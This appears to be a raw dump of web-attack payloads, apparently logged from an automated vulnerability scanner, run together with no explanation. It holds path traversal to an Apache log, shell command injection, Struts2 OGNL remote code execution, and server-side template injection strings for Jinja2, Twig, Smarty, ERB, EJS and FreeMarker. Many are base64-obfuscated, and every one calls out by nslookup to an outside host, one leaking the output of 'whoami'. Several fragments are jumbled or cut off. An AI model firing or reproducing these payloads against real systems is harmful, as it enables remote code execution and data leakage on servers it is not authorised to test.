"jh9_6ym4bpiq74ha-biw7ccy-f8dj_23_vzoplq5""gyq.r87.me"/../../../../../../../../../../var/log/apache/access.log&nslookup "jh9_6ym4bpx2bbdc74bpbtwh_ta6jnw3zuttadti""ble.r87.me"'&nslookup "jh9_6ym4bpnqlxofvdhreswi5u44qzvb6pamsdzq""ueq.r87.me""&nslookup "jh9_6ym4bptikmsgm32nu8lk79ndiqe42okpfz94""rb8.r87.me"|nslookup${IFS}"jh9_6ym4bpurcskhxmngi_b7-y_gpycvidl34kwu""4de.r87.me"%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."jh9_6ym4bpcoii1hqgvpjxqafykgropchpkc6kjx""tte.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "jh9_6ym4bp2cwpolj-71ag6tb4kbdseggfn1cxmo"tfa.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgamg5XzZ5bTRicHVza2Z2aTNubl91eDI4ZzF1cHE5bzc5eC1sNmptbmU0aS5yODcubWU=')).read()}}{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYW1nNVh6WjViVFJpY0MxcGJqVnpkekZyWTNGeFptbGxiVFZpWTE5bmVqSjFlbms1Wm01a1pHNW9aUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgamg5XzZ5bTRicHhibHlnczI1d3Bybi1qODljbW9hbHBiLXJndXZyeHI4cy5yODcubWU=','base64').toString())<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgamg5XzZ5bTRicHd5dm5jZWxvd2ZxZW92N2tjamVvZmdlcnhkZHhzbHZ6aS5yODcubWU=','base64').toString()) %>{php}Smarty_Resource::parseResourceName(system("nslookup jh9_6ym4bp-gnijhkrsjzjwhmfemafdwy_3wtuwo"."bz4.r87.me"),'b');{/php}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup jh9_6ym4bpp-kuupey7whsuhvuqm8vutgwrb_un5"~"fpc.r87.me")}}<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgamg5XzZ5bTRicGJ1eTh4eGRwZnktc2prOXVzM3JxX3NxdG1iOGw0LXFiMC5yODcubWU=')})).to_s}" %><#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<${ ex("cmd.exe /c nslookup jh9_6ym4bp2fcusqzzqtfsjoqxtfk5t1jeix2fss"+"wda.r87.me") }require 'resolv';Resolv.getaddress ("jh9_6ym4bpbrkx8yujieuhbh-hqpb5tkuygd2dca".concat "tca.r87.me")__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgamg5XzZ5bTRicDNwbXpta3V3Z3FiZTB4ajJ5cnFndmprLW1uamUzNGtrYS5yODcubWU=')).read()